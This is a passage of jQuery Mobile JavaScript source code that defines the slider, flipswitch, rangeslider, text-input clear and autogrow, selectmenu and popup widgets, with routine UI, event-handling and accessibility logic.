alignValue.toFixed(5) ); if ( typeof pxStep === "undefined" ) { pxStep = width / ( (max-min) / step ); } if ( pxStep > 1 && isInput ) { percent = ( newval - min ) * percentPerStep * ( 1 / step ); } if ( percent < 0 ) { percent = 0; } if ( percent > 100 ) { percent = 100; } if ( newval < min ) { newval = min; } if ( newval > max ) { newval = max; } this.handle.css( "left", percent + "%" ); this.handle[0].setAttribute( "aria-valuenow", isInput ? newval : optionElements.eq( newval ).attr( "value" ) ); this.handle[0].setAttribute( "aria-valuetext", isInput ? newval : optionElements.eq( newval ).getEncodedText() ); this.handle[0].setAttribute( "title", isInput ? newval : optionElements.eq( newval ).getEncodedText() ); if ( this.valuebg ) { this.valuebg.css( "width", percent + "%" ); } // drag the label widths if ( this._labels ) { handlePercent = this.handle.width() / this.slider.width() * 100; aPercent = percent && handlePercent + ( 100 - handlePercent ) * percent / 100; bPercent = percent === 100 ? 0 : Math.min( handlePercent + 100 - aPercent, 100 ); this._labels.each(function() { var ab = $( this ).hasClass( "ui-slider-label-a" ); $( this ).width( ( ab ? aPercent : bPercent ) + "%" ); }); } if ( !preventInputUpdate ) { valueChanged = false; // update control"s value if ( isInput ) { valueChanged = parseFloat( control.val() ) !== newval; control.val( newval ); } else { valueChanged = control[ 0 ].selectedIndex !== newval; control[ 0 ].selectedIndex = newval; } if ( this._trigger( "beforechange", val ) === false) { return false; } if ( !isfromControl && valueChanged ) { control.trigger( "change" ); } } }, _setHighlight: function( value ) { value = !!value; if ( value ) { this.options.highlight = !!value; this.refresh(); } else if ( this.valuebg ) { this.valuebg.remove(); this.valuebg = false; } }, _setTheme: function( value ) { this.handle .removeClass( "ui-btn-" + this.options.theme ) .addClass( "ui-btn-" + value ); var currentTheme = this.options.theme ? this.options.theme : "inherit", newTheme = value ? value : "inherit"; this.control .removeClass( "ui-body-" + currentTheme ) .addClass( "ui-body-" + newTheme ); }, _setTrackTheme: function( value ) { var currentTrackTheme = this.options.trackTheme ? this.options.trackTheme : "inherit", newTrackTheme = value ? value : "inherit"; this.slider .removeClass( "ui-body-" + currentTrackTheme ) .addClass( "ui-body-" + newTrackTheme ); }, _setMini: function( value ) { value = !!value; if ( !this.isToggleSwitch && !this.isRangeslider ) { this.slider.parent().toggleClass( "ui-mini", value ); this.element.toggleClass( "ui-mini", value ); } this.slider.toggleClass( "ui-mini", value ); }, _setCorners: function( value ) { this.slider.toggleClass( "ui-corner-all", value ); if ( !this.isToggleSwitch ) { this.control.toggleClass( "ui-corner-all", value ); } }, _setDisabled: function( value ) { value = !!value; this.element.prop( "disabled", value ); this.slider .toggleClass( "ui-state-disabled", value ) .attr( "aria-disabled", value ); this.element.toggleClass( "ui-state-disabled", value ); } }, $.mobile.behaviors.formReset ) ); })( jQuery ); (function( $, undefined ) { var popup; function getPopup() { if ( !popup ) { popup = $( "<div></div>", { "class": "ui-slider-popup ui-shadow ui-corner-all" }); } return popup.clone(); } $.widget( "mobile.slider", $.mobile.slider, { options: { popupEnabled: false, showValue: false }, _create: function() { this._super(); $.extend( this, { _currentValue: null, _popup: null, _popupVisible: false }); this._setOption( "popupEnabled", this.options.popupEnabled ); this._on( this.handle, { "vmousedown" : "_showPopup" } ); this._on( this.slider.add( this.document ), { "vmouseup" : "_hidePopup" } ); this._refresh(); }, // position the popup centered 5px above the handle _positionPopup: function() { var dstOffset = this.handle.offset(); this._popup.offset( { left: dstOffset.left + ( this.handle.width() - this._popup.width() ) / 2, top: dstOffset.top - this._popup.outerHeight() - 5 }); }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "showValue" ) { this.handle.html( value && !this.options.mini ? this._value() : "" ); } else if ( key === "popupEnabled" ) { if ( value && !this._popup ) { this._popup = getPopup() .addClass( "ui-body-" + ( this.options.theme || "a" ) ) .hide() .insertBefore( this.element ); } } }, // show value on the handle and in popup refresh: function() { this._super.apply( this, arguments ); this._refresh(); }, _refresh: function() { var o = this.options, newValue; if ( o.popupEnabled ) { // remove the title attribute from the handle (which is // responsible for the annoying tooltip); NB we have // to do it here as the jqm slider sets it every time // the slider's value changes :( this.handle.removeAttr( "title" ); } newValue = this._value(); if ( newValue === this._currentValue ) { return; } this._currentValue = newValue; if ( o.popupEnabled && this._popup ) { this._positionPopup(); this._popup.html( newValue ); } if ( o.showValue && !this.options.mini ) { this.handle.html( newValue ); } }, _showPopup: function() { if ( this.options.popupEnabled && !this._popupVisible ) { this.handle.html( "" ); this._popup.show(); this._positionPopup(); this._popupVisible = true; } }, _hidePopup: function() { var o = this.options; if ( o.popupEnabled && this._popupVisible ) { if ( o.showValue && !o.mini ) { this.handle.html( this._value() ); } this._popup.hide(); this._popupVisible = false; } } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.flipswitch", $.extend({ options: { onText: "On", offText: "Off", theme: null, enhanced: false, wrapperClass: null, corners: true, mini: false }, _create: function() { if ( !this.options.enhanced ) { this._enhance(); } else { $.extend( this, { flipswitch: this.element.parent(), on: this.element.find( ".ui-flipswitch-on" ).eq( 0 ), off: this.element.find( ".ui-flipswitch-off" ).eq(0), type: this.element.get( 0 ).tagName }); } this._handleFormReset(); // Transfer tabindex to "on" element and make input unfocusable this._originalTabIndex = this.element.attr( "tabindex" ); if ( this._originalTabIndex != null ) { this.on.attr( "tabindex", this._originalTabIndex ); } this.element.attr( "tabindex", "-1" ); this._on({ "focus" : "_handleInputFocus" }); if ( this.element.is( ":disabled" ) ) { this._setOptions({ "disabled": true }); } this._on( this.flipswitch, { "click": "_toggle", "swipeleft": "_left", "swiperight": "_right" }); this._on( this.on, { "keydown": "_keydown" }); this._on( { "change": "refresh" }); }, _handleInputFocus: function() { this.on.focus(); }, widget: function() { return this.flipswitch; }, _left: function() { this.flipswitch.removeClass( "ui-flipswitch-active" ); if ( this.type === "SELECT" ) { this.element.get( 0 ).selectedIndex = 0; } else { this.element.prop( "checked", false ); } this.element.trigger( "change" ); }, _right: function() { this.flipswitch.addClass( "ui-flipswitch-active" ); if ( this.type === "SELECT" ) { this.element.get( 0 ).selectedIndex = 1; } else { this.element.prop( "checked", true ); } this.element.trigger( "change" ); }, _enhance: function() { var flipswitch = $( "<div>" ), options = this.options, element = this.element, theme = options.theme ? options.theme : "inherit", // The "on" button is an anchor so it's focusable on = $( "<a></a>", { "href": "#" }), off = $( "<span></span>" ), type = element.get( 0 ).tagName, onText = ( type === "INPUT" ) ? options.onText : element.find( "option" ).eq( 1 ).text(), offText = ( type === "INPUT" ) ? options.offText : element.find( "option" ).eq( 0 ).text(); on .addClass( "ui-flipswitch-on ui-btn ui-shadow ui-btn-inherit" ) .text( onText ); off .addClass( "ui-flipswitch-off" ) .text( offText ); flipswitch .addClass( "ui-flipswitch ui-shadow-inset " + "ui-bar-" + theme + " " + ( options.wrapperClass ? options.wrapperClass : "" ) + " " + ( ( element.is( ":checked" ) || element .find( "option" ) .eq( 1 ) .is( ":selected" ) ) ? "ui-flipswitch-active" : "" ) + ( element.is(":disabled") ? " ui-state-disabled": "") + ( options.corners ? " ui-corner-all": "" ) + ( options.mini ? " ui-mini": "" ) ) .append( on, off ); element .addClass( "ui-flipswitch-input" ) .after( flipswitch ) .appendTo( flipswitch ); $.extend( this, { flipswitch: flipswitch, on: on, off: off, type: type }); }, _reset: function() { this.refresh(); }, refresh: function() { var direction, existingDirection = this.flipswitch.hasClass( "ui-flipswitch-active" ) ? "_right" : "_left"; if ( this.type === "SELECT" ) { direction = ( this.element.get( 0 ).selectedIndex > 0 ) ? "_right": "_left"; } else { direction = this.element.prop( "checked" ) ? "_right": "_left"; } if ( direction !== existingDirection ) { this[ direction ](); } }, _toggle: function() { var direction = this.flipswitch.hasClass( "ui-flipswitch-active" ) ? "_left" : "_right"; this[ direction ](); }, _keydown: function( e ) { if ( e.which === $.mobile.keyCode.LEFT ) { this._left(); } else if ( e.which === $.mobile.keyCode.RIGHT ) { this._right(); } else if ( e.which === $.mobile.keyCode.SPACE ) { this._toggle(); e.preventDefault(); } }, _setOptions: function( options ) { if ( options.theme !== undefined ) { var currentTheme = options.theme ? options.theme : "inherit", newTheme = options.theme ? options.theme : "inherit"; this.widget() .removeClass( "ui-bar-" + currentTheme ) .addClass( "ui-bar-" + newTheme ); } if ( options.onText !== undefined ) { this.on.text( options.onText ); } if ( options.offText !== undefined ) { this.off.text( options.offText ); } if ( options.disabled !== undefined ) { this.widget().toggleClass( "ui-state-disabled", options.disabled ); } if ( options.mini !== undefined ) { this.widget().toggleClass( "ui-mini", options.mini ); } if ( options.corners !== undefined ) { this.widget().toggleClass( "ui-corner-all", options.corners ); } this._super( options ); }, _destroy: function() { if ( this.options.enhanced ) { return; } if ( this._originalTabIndex != null ) { this.element.attr( "tabindex", this._originalTabIndex ); } else { this.element.removeAttr( "tabindex" ); } this.on.remove(); this.off.remove(); this.element.unwrap(); this.flipswitch.remove(); this.removeClass( "ui-flipswitch-input" ); } }, $.mobile.behaviors.formReset ) ); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.rangeslider", $.extend( { options: { theme: null, trackTheme: null, corners: true, mini: false, highlight: true }, _create: function() { var $el = this.element, elClass = this.options.mini ? "ui-rangeslider ui-mini" : "ui-rangeslider", _inputFirst = $el.find( "input" ).first(), _inputLast = $el.find( "input" ).last(), _label = $el.find( "label" ).first(), _sliderWidgetFirst = $.data( _inputFirst.get( 0 ), "mobile-slider" ) || $.data( _inputFirst.slider().get( 0 ), "mobile-slider" ), _sliderWidgetLast = $.data( _inputLast.get(0), "mobile-slider" ) || $.data( _inputLast.slider().get( 0 ), "mobile-slider" ), _sliderFirst = _sliderWidgetFirst.slider, _sliderLast = _sliderWidgetLast.slider, firstHandle = _sliderWidgetFirst.handle, _sliders = $( "<div class='ui-rangeslider-sliders' />" ).appendTo( $el ); _inputFirst.addClass( "ui-rangeslider-first" ); _inputLast.addClass( "ui-rangeslider-last" ); $el.addClass( elClass ); _sliderFirst.appendTo( _sliders ); _sliderLast.appendTo( _sliders ); _label.insertBefore( $el ); firstHandle.prependTo( _sliderLast ); $.extend( this, { _inputFirst: _inputFirst, _inputLast: _inputLast, _sliderFirst: _sliderFirst, _sliderLast: _sliderLast, _label: _label, _targetVal: null, _sliderTarget: false, _sliders: _sliders, _proxy: false }); this.refresh(); this._on( this.element.find( "input.ui-slider-input" ), { "slidebeforestart": "_slidebeforestart", "slidestop": "_slidestop", "slidedrag": "_slidedrag", "slidebeforechange": "_change", "blur": "_change", "keyup": "_change" }); this._on({ "mousedown":"_change" }); this._on( this.element.closest( "form" ), { "reset":"_handleReset" }); this._on( firstHandle, { "vmousedown": "_dragFirstHandle" }); }, _handleReset: function() { var self = this; //we must wait for the stack to unwind before updateing other wise sliders will not have updated yet setTimeout( function() { self._updateHighlight(); },0); }, _dragFirstHandle: function( event ) { //if the first handle is dragged send the event to the first slider $.data( this._inputFirst.get(0), "mobile-slider" ).dragging = true; $.data( this._inputFirst.get(0), "mobile-slider" ).refresh( event ); $.data( this._inputFirst.get(0), "mobile-slider" )._trigger( "start" ); return false; }, _slidedrag: function( event ) { var first = $( event.target ).is( this._inputFirst ), otherSlider = ( first ) ? this._inputLast : this._inputFirst; this._sliderTarget = false; //if the drag was initiated on an extreme and the other handle is focused send the events to //the closest handle if ( ( this._proxy === "first" && first ) || ( this._proxy === "last" && !first ) ) { $.data( otherSlider.get(0), "mobile-slider" ).dragging = true; $.data( otherSlider.get(0), "mobile-slider" ).refresh( event ); return false; } }, _slidestop: function( event ) { var first = $( event.target ).is( this._inputFirst ); this._proxy = false; //this stops dragging of the handle and brings the active track to the front //this makes clicks on the track go the the last handle used this.element.find( "input" ).trigger( "vmouseup" ); this._sliderFirst.css( "z-index", first ? 1 : "" ); }, _slidebeforestart: function( event ) { this._sliderTarget = false; //if the track is the target remember this and the original value if ( $( event.originalEvent.target ).hasClass( "ui-slider-track" ) ) { this._sliderTarget = true; this._targetVal = $( event.target ).val(); } }, _setOptions: function( options ) { if ( options.theme !== undefined ) { this._setTheme( options.theme ); } if ( options.trackTheme !== undefined ) { this._setTrackTheme( options.trackTheme ); } if ( options.mini !== undefined ) { this._setMini( options.mini ); } if ( options.highlight !== undefined ) { this._setHighlight( options.highlight ); } if ( options.disabled !== undefined ) { this._setDisabled( options.disabled ); } this._super( options ); this.refresh(); }, refresh: function() { var $el = this.element, o = this.options; if ( this._inputFirst.is( ":disabled" ) || this._inputLast.is( ":disabled" ) ) { this.options.disabled = true; } $el.find( "input" ).slider({ theme: o.theme, trackTheme: o.trackTheme, disabled: o.disabled, corners: o.corners, mini: o.mini, highlight: o.highlight }).slider( "refresh" ); this._updateHighlight(); }, _change: function( event ) { if ( event.type === "keyup" ) { this._updateHighlight(); return false; } var self = this, min = parseFloat( this._inputFirst.val(), 10 ), max = parseFloat( this._inputLast.val(), 10 ), first = $( event.target ).hasClass( "ui-rangeslider-first" ), thisSlider = first ? this._inputFirst : this._inputLast, otherSlider = first ? this._inputLast : this._inputFirst; if ( ( this._inputFirst.val() > this._inputLast.val() && event.type === "mousedown" && !$(event.target).hasClass("ui-slider-handle")) ) { thisSlider.blur(); } else if ( event.type === "mousedown" ) { return; } if ( min > max && !this._sliderTarget ) { //this prevents min from being greater then max thisSlider.val( first ? max: min ).slider( "refresh" ); this._trigger( "normalize" ); } else if ( min > max ) { //this makes it so clicks on the target on either extreme go to the closest handle thisSlider.val( this._targetVal ).slider( "refresh" ); //You must wait for the stack to unwind so first slider is updated before updating second setTimeout( function() { otherSlider.val( first ? min: max ).slider( "refresh" ); $.data( otherSlider.get(0), "mobile-slider" ).handle.focus(); self._sliderFirst.css( "z-index", first ? "" : 1 ); self._trigger( "normalize" ); }, 0 ); this._proxy = ( first ) ? "first" : "last"; } //fixes issue where when both _sliders are at min they cannot be adjusted if ( min === max ) { $.data( thisSlider.get(0), "mobile-slider" ).handle.css( "z-index", 1 ); $.data( otherSlider.get(0), "mobile-slider" ).handle.css( "z-index", 0 ); } else { $.data( otherSlider.get(0), "mobile-slider" ).handle.css( "z-index", "" ); $.data( thisSlider.get(0), "mobile-slider" ).handle.css( "z-index", "" ); } this._updateHighlight(); if ( min >= max ) { return false; } }, _updateHighlight: function() { var min = parseInt( $.data( this._inputFirst.get(0), "mobile-slider" ).handle.get(0).style.left, 10 ), max = parseInt( $.data( this._inputLast.get(0), "mobile-slider" ).handle.get(0).style.left, 10 ), width = (max - min); this.element.find( ".ui-slider-bg" ).css({ "margin-left": min + "%", "width": width + "%" }); }, _setTheme: function( value ) { this._inputFirst.slider( "option", "theme", value ); this._inputLast.slider( "option", "theme", value ); }, _setTrackTheme: function( value ) { this._inputFirst.slider( "option", "trackTheme", value ); this._inputLast.slider( "option", "trackTheme", value ); }, _setMini: function( value ) { this._inputFirst.slider( "option", "mini", value ); this._inputLast.slider( "option", "mini", value ); this.element.toggleClass( "ui-mini", !!value ); }, _setHighlight: function( value ) { this._inputFirst.slider( "option", "highlight", value ); this._inputLast.slider( "option", "highlight", value ); }, _setDisabled: function( value ) { this._inputFirst.prop( "disabled", value ); this._inputLast.prop( "disabled", value ); }, _destroy: function() { this._label.prependTo( this.element ); this.element.removeClass( "ui-rangeslider ui-mini" ); this._inputFirst.after( this._sliderFirst ); this._inputLast.after( this._sliderLast ); this._sliders.remove(); this.element.find( "input" ).removeClass( "ui-rangeslider-first ui-rangeslider-last" ).slider( "destroy" ); } }, $.mobile.behaviors.formReset ) ); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.textinput", $.mobile.textinput, { options: { clearBtn: false, clearBtnText: "Clear text" }, _create: function() { this._super(); if ( this.isSearch ) { this.options.clearBtn = true; } if ( !!this.options.clearBtn && this.inputNeedsWrap ) { this._addClearBtn(); } }, clearButton: function() { return $( "<a href='#' tabindex='-1' aria-hidden='true' " + "class='ui-input-clear ui-btn ui-icon-delete ui-btn-icon-notext ui-corner-all'>" + "</a>" ) .attr( "title", this.options.clearBtnText ) .text( this.options.clearBtnText ); }, _clearBtnClick: function( event ) { this.element.val( "" ) .focus() .trigger( "change" ); this._clearBtn.addClass( "ui-input-clear-hidden" ); event.preventDefault(); }, _addClearBtn: function() { if ( !this.options.enhanced ) { this._enhanceClear(); } $.extend( this, { _clearBtn: this.widget().find("a.ui-input-clear") }); this._bindClearEvents(); this._toggleClear(); }, _enhanceClear: function() { this.clearButton().appendTo( this.widget() ); this.widget().addClass( "ui-input-has-clear" ); }, _bindClearEvents: function() { this._on( this._clearBtn, { "click": "_clearBtnClick" }); this._on({ "keyup": "_toggleClear", "change": "_toggleClear", "input": "_toggleClear", "focus": "_toggleClear", "blur": "_toggleClear", "cut": "_toggleClear", "paste": "_toggleClear" }); }, _unbindClear: function() { this._off( this._clearBtn, "click"); this._off( this.element, "keyup change input focus blur cut paste" ); }, _setOptions: function( options ) { this._super( options ); if ( options.clearBtn !== undefined && !this.element.is( "textarea, :jqmData(type='range')" ) ) { if ( options.clearBtn ) { this._addClearBtn(); } else { this._destroyClear(); } } if ( options.clearBtnText !== undefined && this._clearBtn !== undefined ) { this._clearBtn.text( options.clearBtnText ) .attr("title", options.clearBtnText); } }, _toggleClear: function() { this._delay( "_toggleClearClass", 0 ); }, _toggleClearClass: function() { this._clearBtn.toggleClass( "ui-input-clear-hidden", !this.element.val() ); }, _destroyClear: function() { this.widget().removeClass( "ui-input-has-clear" ); this._unbindClear(); this._clearBtn.remove(); }, _destroy: function() { this._super(); if ( this.options.clearBtn ) { this._destroyClear(); } } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.textinput", $.mobile.textinput, { options: { autogrow:true, keyupTimeoutBuffer: 100 }, _create: function() { this._super(); if ( this.options.autogrow && this.isTextarea ) { this._autogrow(); } }, _autogrow: function() { this.element.addClass( "ui-textinput-autogrow" ); this._on({ "keyup": "_timeout", "change": "_timeout", "input": "_timeout", "paste": "_timeout" }); // Attach to the various you-have-become-visible notifications that the // various framework elements emit. // TODO: Remove all but the updatelayout handler once #6426 is fixed. this._on( true, this.document, { // TODO: Move to non-deprecated event "pageshow": "_handleShow", "popupbeforeposition": "_handleShow", "updatelayout": "_handleShow", "panelopen": "_handleShow" }); }, // Synchronously fix the widget height if this widget's parents are such // that they show/hide content at runtime. We still need to check whether // the widget is actually visible in case it is contained inside multiple // such containers. For example: panel contains collapsible contains // autogrow textinput. The panel may emit "panelopen" indicating that its // content has become visible, but the collapsible is still collapsed, so // the autogrow textarea is still not visible. _handleShow: function( event ) { if ( $.contains( event.target, this.element[ 0 ] ) && this.element.is( ":visible" ) ) { if ( event.type !== "popupbeforeposition" ) { this.element .addClass( "ui-textinput-autogrow-resize" ) .animationComplete( $.proxy( function() { this.element.removeClass( "ui-textinput-autogrow-resize" ); }, this ), "transition" ); } this._prepareHeightUpdate(); } }, _unbindAutogrow: function() { this.element.removeClass( "ui-textinput-autogrow" ); this._off( this.element, "keyup change input paste" ); this._off( this.document, "pageshow popupbeforeposition updatelayout panelopen" ); }, keyupTimeout: null, _prepareHeightUpdate: function( delay ) { if ( this.keyupTimeout ) { clearTimeout( this.keyupTimeout ); } if ( delay === undefined ) { this._updateHeight(); } else { this.keyupTimeout = this._delay( "_updateHeight", delay ); } }, _timeout: function() { this._prepareHeightUpdate( this.options.keyupTimeoutBuffer ); }, _updateHeight: function() { var paddingTop, paddingBottom, paddingHeight, scrollHeight, clientHeight, borderTop, borderBottom, borderHeight, height, scrollTop = this.window.scrollTop(); this.keyupTimeout = 0; // IE8 textareas have the onpage property - others do not if ( !( "onpage" in this.element[ 0 ] ) ) { this.element.css({ "height": 0, "min-height": 0, "max-height": 0 }); } scrollHeight = this.element[ 0 ].scrollHeight; clientHeight = this.element[ 0 ].clientHeight; borderTop = parseFloat( this.element.css( "border-top-width" ) ); borderBottom = parseFloat( this.element.css( "border-bottom-width" ) ); borderHeight = borderTop + borderBottom; height = scrollHeight + borderHeight + 15; // Issue 6179: Padding is not included in scrollHeight and // clientHeight by Firefox if no scrollbar is visible. Because // textareas use the border-box box-sizing model, padding should be // included in the new (assigned) height. Because the height is set // to 0, clientHeight == 0 in Firefox. Therefore, we can use this to // check if padding must be added. if ( clientHeight === 0 ) { paddingTop = parseFloat( this.element.css( "padding-top" ) ); paddingBottom = parseFloat( this.element.css( "padding-bottom" ) ); paddingHeight = paddingTop + paddingBottom; height += paddingHeight; } this.element.css({ "height": height, "min-height": "", "max-height": "" }); this.window.scrollTop( scrollTop ); }, refresh: function() { if ( this.options.autogrow && this.isTextarea ) { this._updateHeight(); } }, _setOptions: function( options ) { this._super( options ); if ( options.autogrow !== undefined && this.isTextarea ) { if ( options.autogrow ) { this._autogrow(); } else { this._unbindAutogrow(); } } } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.selectmenu", $.extend( { initSelector: "select:not( :jqmData(role='slider')):not( :jqmData(role='flipswitch') )", options: { theme: null, icon: "carat-d", iconpos: "right", inline: false, corners: true, shadow: true, iconshadow: false, /* TODO: Deprecated in 1.4, remove in 1.5. */ overlayTheme: null, dividerTheme: null, hidePlaceholderMenuItems: true, closeText: "Close", nativeMenu: true, // This option defaults to true on iOS devices. preventFocusZoom: /iPhone|iPad|iPod/.test( navigator.platform ) && navigator.userAgent.indexOf( "AppleWebKit" ) > -1, mini: false }, _button: function() { return $( "<div/>" ); }, _setDisabled: function( value ) { this.element.attr( "disabled", value ); this.button.attr( "aria-disabled", value ); return this._setOption( "disabled", value ); }, _focusButton : function() { var self = this; setTimeout( function() { self.button.focus(); }, 40); }, _selectOptions: function() { return this.select.find( "option" ); }, // setup items that are generally necessary for select menu extension _preExtension: function() { var inline = this.options.inline || this.element.jqmData( "inline" ), mini = this.options.mini || this.element.jqmData( "mini" ), classes = ""; // TODO: Post 1.1--once we have time to test thoroughly--any classes manually applied to the original element should be carried over to the enhanced element, with an `-enhanced` suffix. See https://github.com/jquery/jquery-mobile/issues/3577 /* if ( $el[0].className.length ) { classes = $el[0].className; } */ if ( !!~this.element[0].className.indexOf( "ui-btn-left" ) ) { classes = " ui-btn-left"; } if ( !!~this.element[0].className.indexOf( "ui-btn-right" ) ) { classes = " ui-btn-right"; } if ( inline ) { classes += " ui-btn-inline"; } if ( mini ) { classes += " ui-mini"; } this.select = this.element.removeClass( "ui-btn-left ui-btn-right" ).wrap( "<div class='ui-select" + classes + "'>" ); this.selectId = this.select.attr( "id" ) || ( "select-" + this.uuid ); this.buttonId = this.selectId + "-button"; this.label = $( "label[for='"+ this.selectId +"']" ); this.isMultiple = this.select[ 0 ].multiple; }, _destroy: function() { var wrapper = this.element.parents( ".ui-select" ); if ( wrapper.length > 0 ) { if ( wrapper.is( ".ui-btn-left, .ui-btn-right" ) ) { this.element.addClass( wrapper.hasClass( "ui-btn-left" ) ? "ui-btn-left" : "ui-btn-right" ); } this.element.insertAfter( wrapper ); wrapper.remove(); } }, _create: function() { this._preExtension(); this.button = this._button(); var self = this, options = this.options, iconpos = options.icon ? ( options.iconpos || this.select.jqmData( "iconpos" ) ) : false, button = this.button .insertBefore( this.select ) .attr( "id", this.buttonId ) .addClass( "ui-btn" + ( options.icon ? ( " ui-icon-" + options.icon + " ui-btn-icon-" + iconpos + ( options.iconshadow ? " ui-shadow-icon" : "" ) ) : "" ) + /* TODO: Remove in 1.5. */ ( options.theme ? " ui-btn-" + options.theme : "" ) + ( options.corners ? " ui-corner-all" : "" ) + ( options.shadow ? " ui-shadow" : "" ) ); this.setButtonText(); // Opera does not properly support opacity on select elements // In Mini, it hides the element, but not its text // On the desktop,it seems to do the opposite // for these reasons, using the nativeMenu option results in a full native select in Opera if ( options.nativeMenu && window.opera && window.opera.version ) { button.addClass( "ui-select-nativeonly" ); } // Add counter for multi selects if ( this.isMultiple ) { this.buttonCount = $( "<span>" ) .addClass( "ui-li-count ui-body-inherit" ) .hide() .appendTo( button.addClass( "ui-li-has-count" ) ); } // Disable if specified if ( options.disabled || this.element.attr( "disabled" )) { this.disable(); } // Events on native select this.select.change(function() { self.refresh(); if ( !!options.nativeMenu ) { self._delay( function() { self.select.blur(); }); } }); this._handleFormReset(); this._on( this.button, { keydown: "_handleKeydown" }); this.build(); }, build: function() { var self = this; this.select .appendTo( self.button ) .bind( "vmousedown", function() { // Add active class to button self.button.addClass( $.mobile.activeBtnClass ); }) .bind( "focus", function() { self.button.addClass( $.mobile.focusClass ); }) .bind( "blur", function() { self.button.removeClass( $.mobile.focusClass ); }) .bind( "focus vmouseover", function() { self.button.trigger( "vmouseover" ); }) .bind( "vmousemove", function() { // Remove active class on scroll/touchmove self.button.removeClass( $.mobile.activeBtnClass ); }) .bind( "change blur vmouseout", function() { self.button.trigger( "vmouseout" ) .removeClass( $.mobile.activeBtnClass ); }); // In many situations, iOS will zoom into the select upon tap, this prevents that from happening self.button.bind( "vmousedown", function() { if ( self.options.preventFocusZoom ) { $.mobile.zoom.disable( true ); } }); self.label.bind( "click focus", function() { if ( self.options.preventFocusZoom ) { $.mobile.zoom.disable( true ); } }); self.select.bind( "focus", function() { if ( self.options.preventFocusZoom ) { $.mobile.zoom.disable( true ); } }); self.button.bind( "mouseup", function() { if ( self.options.preventFocusZoom ) { setTimeout(function() { $.mobile.zoom.enable( true ); }, 0 ); } }); self.select.bind( "blur", function() { if ( self.options.preventFocusZoom ) { $.mobile.zoom.enable( true ); } }); }, selected: function() { return this._selectOptions().filter( ":selected" ); }, selectedIndices: function() { var self = this; return this.selected().map(function() { return self._selectOptions().index( this ); }).get(); }, setButtonText: function() { var self = this, selected = this.selected(), text = this.placeholder, span = $( document.createElement( "span" ) ); this.button.children( "span" ).not( ".ui-li-count" ).remove().end().end().prepend( (function() { if ( selected.length ) { text = selected.map(function() { return $( this ).text(); }).get().join( ", " ); } else { text = self.placeholder; } if ( text ) { span.text( text ); } else { // Set the contents to   which we write as   to be XHTML compliant - see gh-6699 span.html( " " ); } // TODO possibly aggregate multiple select option classes return span .addClass( self.select.attr( "class" ) ) .addClass( selected.attr( "class" ) ) .removeClass( "ui-screen-hidden" ); })()); }, setButtonCount: function() { var selected = this.selected(); // multiple count inside button if ( this.isMultiple ) { this.buttonCount[ selected.length > 1 ? "show" : "hide" ]().text( selected.length ); } }, _handleKeydown: function( /* event */ ) { this._delay( "_refreshButton" ); }, _reset: function() { this.refresh(); }, _refreshButton: function() { this.setButtonText(); this.setButtonCount(); }, refresh: function() { this._refreshButton(); }, // open and close preserved in native selects // to simplify users code when looping over selects open: $.noop, close: $.noop, disable: function() { this._setDisabled( true ); this.button.addClass( "ui-state-disabled" ); }, enable: function() { this._setDisabled( false ); this.button.removeClass( "ui-state-disabled" ); } }, $.mobile.behaviors.formReset ) ); })( jQuery ); (function( $, undefined ) { $.mobile.links = function( target ) { //links within content areas, tests included with page $( target ) .find( "a" ) .jqmEnhanceable() .filter( ":jqmData(rel='popup')[href][href!='']" ) .each( function() { // Accessibility info for popups var element = this, idref = element.getAttribute( "href" ).substring( 1 ); if ( idref ) { element.setAttribute( "aria-haspopup", true ); element.setAttribute( "aria-owns", idref ); element.setAttribute( "aria-expanded", false ); } }) .end() .not( ".ui-btn, :jqmData(role='none'), :jqmData(role='nojs')" ) .addClass( "ui-link" ); }; })( jQuery ); (function( $, undefined ) { function fitSegmentInsideSegment( windowSize, segmentSize, offset, desired ) { var returnValue = desired; if ( windowSize < segmentSize ) { // Center segment if it's bigger than the window returnValue = offset + ( windowSize - segmentSize ) / 2; } else { // Otherwise center it at the desired coordinate while keeping it completely inside the window returnValue = Math.min( Math.max( offset, desired - segmentSize / 2 ), offset + windowSize - segmentSize ); } return returnValue; } function getWindowCoordinates( theWindow ) { return { x: theWindow.scrollLeft(), y: theWindow.scrollTop(), cx: ( theWindow[ 0 ].innerWidth || theWindow.width() ), cy: ( theWindow[ 0 ].innerHeight || theWindow.height() ) }; } $.widget( "mobile.popup", { options: { wrapperClass: null, theme: null, overlayTheme: null, shadow: true, corners: true, transition: "none", positionTo: "origin", tolerance: null, closeLinkSelector: "a:jqmData(rel='back')", closeLinkEvents: "click.popup", navigateEvents: "navigate.popup", closeEvents: "navigate.popup pagebeforechange.popup", dismissible: true, enhanced: false, // NOTE Windows Phone 7 has a scroll position caching issue that // requires us to disable popup history management by default // https://github.com/jquery/jquery-mobile/issues/4784 // // NOTE this option is modified in _create! history: !$.mobile.browser.oldIE }, // When the user depresses the mouse/finger on an element inside the popup while the popup is // open, we ignore resize events for a short while. This prevents #6961. _handleDocumentVmousedown: function( theEvent ) { if ( this._isOpen && $.contains( this._ui.container[ 0 ], theEvent.target ) ) { this._ignoreResizeEvents(); } }, _create: function() { var theElement = this.element, myId = theElement.attr( "id" ), currentOptions = this.options; // We need to adjust the history option to be false if there's no AJAX nav. // We can't do it in the option declarations because those are run before // it is determined whether there shall be AJAX nav. currentOptions.history = currentOptions.history && $.mobile.ajaxEnabled && $.mobile.hashListeningEnabled; this._on( this.document, { "vmousedown": "_handleDocumentVmousedown" }); // Define instance variables $.extend( this, { _scrollTop: 0, _page: theElement.closest( ".ui-page" ), _ui: null, _fallbackTransition: "", _currentTransition: false, _prerequisites: null, _isOpen: false, _tolerance: null, _resizeData: null, _ignoreResizeTo: 0, _orientationchangeInProgress: false }); if ( this._page.length === 0 ) { this._page = $( "body" ); } if ( currentOptions.enhanced ) { this._ui = { container: theElement.parent(), screen: theElement.parent().prev(), placeholder: $( this.document[ 0 ].getElementById( myId + "-placeholder" ) ) }; } else { this._ui = this._enhance( theElement, myId ); this._applyTransition( currentOptions.transition ); } this ._setTolerance( currentOptions.tolerance ) ._ui.focusElement = this._ui.container; // Event handlers this._on( this._ui.screen, { "vclick": "_eatEventAndClose" } ); this._on( this.window, { orientationchange: $.proxy( this, "_handleWindowOrientationchange" ), resize: $.proxy( this, "_handleWindowResize" ), keyup: $.proxy( this, "_handleWindowKeyUp" ) }); this._on( 